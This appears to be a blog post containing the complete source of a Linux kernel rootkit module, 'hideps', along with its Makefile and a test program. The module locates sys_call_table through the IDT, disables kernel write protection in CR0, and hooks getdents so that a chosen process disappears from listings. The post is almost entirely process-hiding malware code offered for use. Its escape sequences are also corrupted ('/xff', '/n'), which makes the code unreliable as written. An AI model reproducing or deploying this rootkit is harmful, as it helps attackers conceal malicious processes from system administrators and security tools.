rootkit

hook系统调用函数

 

/*hideps.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;
char psname[10] = "looptest";
char *processname = psname;

//module_param(processname, charp, 0);

// idtr register
struct {
    unsigned short limit;// 16 bit(bit0-15)
    unsigned int base;    // 32 bit(bit16-47)
} __attribute__ ((packed)) idtr;

// idt entity(8byte)
struct {
    unsigned short off1; // offset bit0-15(bit0-15)
    unsigned short sel; //segment selector (bit16-31)
    unsigned char none,flags; //none:(bit32-39), flag:(bit40-47)
    unsigned short off2; //offset bit16-31(bit48-63)
} __attribute__ ((packed)) * idt;

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

void** sys_call_table;

//clear bit19(20th bit) of cr0 and return original cr0
unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}

// restore cr0 with original value
void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(val)
         );
}

// original system call func
asmlinkage long (*orig_getdents)(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count);

// get addr start with 0xff 0x14 0x85
char * findoffset(char *start)
{
    char *p;
    for (p = start; p < start + CALLOFF; p++)
        // In x86 machine code,   call *sys_call_table(,%eax,4)
        // is translated to   0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
        // the 4 ‘addr’ bytes form the address of 'sys_call_table[]'
        if (*(p + 0) == '/xff' && *(p + 1) == '/x14' && *(p + 2) == '/x85')
            return p;
    return NULL;
}

// convert a digital string to int
int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        // not digit
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    if(res>0 && res< 9999)
        printk(KERN_INFO "pid=%d,",res);
    printk("/n");
    return (res);
}

// get task_struct by pid
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry=NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
        {
            printk("pid found=%d/n",entry->pid);
            return entry;
        }
    }
    printk(KERN_INFO "pid=%d not found/n",pid);
    return NULL;
}

// get task's name
static inline char *get_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '//') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '/n')
        {
            buf[0] = '//';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '/n';
    return buf + 1;
}

// check if pid is which we want to hook
int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    //    char *buffer[64] = {0};
    char buffer[64];
    if (task)
    {
        get_name(task, buffer);
    //    if(pid>0 && pid<9999)
    //    printk(KERN_INFO "task name=%s/n",*buffer);
        if(strstr(buffer,processname))
            return 1;
        else
            return 0;
    }
    else
        return 0;
}

//hook func
asmlinkage long hacked_getdents(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count)
{
//added by lsc for process
    long value;
    //    struct inode *dinode;
    unsigned short len = 0;
    unsigned short tlen = 0;
//    struct linux_dirent *mydir = NULL;
//end
    //在这里调用一下sys_getdents,得到返回的结果
    value = (*orig_getdents) (fd, dirp, count);
    tlen = value;
    //遍历得到的目录列表
    while(tlen > 0)
    {
        len = dirp->d_reclen;
        tlen = tlen - len;
        printk("%s/n",dirp->d_name);
                              
        if(get_process(myatoi(dirp->d_name)) )
        {
            printk("find process/n");
            //发现匹配的进程，调用memmove将这条进程覆盖掉
            memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
            value = value - len;
            printk(KERN_INFO "hide successful./n");
        }
        if(tlen)
            dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
    }
    printk(KERN_INFO "finished hacked_getdents./n");
    return value;
}


void **get_sct_addr(void)
{
    unsigned sys_call_off;
    unsigned sct = 0;
    char *p;

    // get idtr using sidt
    asm("sidt %0":"=m"(idtr));

    // get system_call idt
    idt = (void *) (idtr.base + 8 * 0x80);

    // get offset(address of system_call func)
    sys_call_off = (idt->off2 << 16) | idt->off1;

    // get call *sys_call_table(,%eax,4)
    if ((p = findoffset((char *) sys_call_off)))
        // add   0xff 0x14 0x85 3bytes
        sct = *(unsigned *) (p + 3);
    // sys_call_table
    return ((void **)sct);
}


static int filter_init(void)
{
    //得到sys_call_table的偏移地址
    sys_call_table = get_sct_addr();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL.../n");
        return 0;
    }
    else
        printk("sct: 0x%x/n", (unsigned int)sys_call_table);
    //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
    orig_getdents = sys_call_table[__NR_getdents];

    orig_cr0 = clear_and_return_cr0();
    sys_call_table[__NR_getdents] = hacked_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module loaded./n");
    return 0;
}


static void filter_exit(void)
{
    orig_cr0 = clear_and_return_cr0();
    if (sys_call_table)
    sys_call_table[__NR_getdents] = orig_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module removed/n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");

 

Makefile

obj-m   :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR   := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)
default:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
    $(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*
    make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean

 

looptest.c

#include<stdio.h>

int main(void)
{
    while(1);
    return 0;
}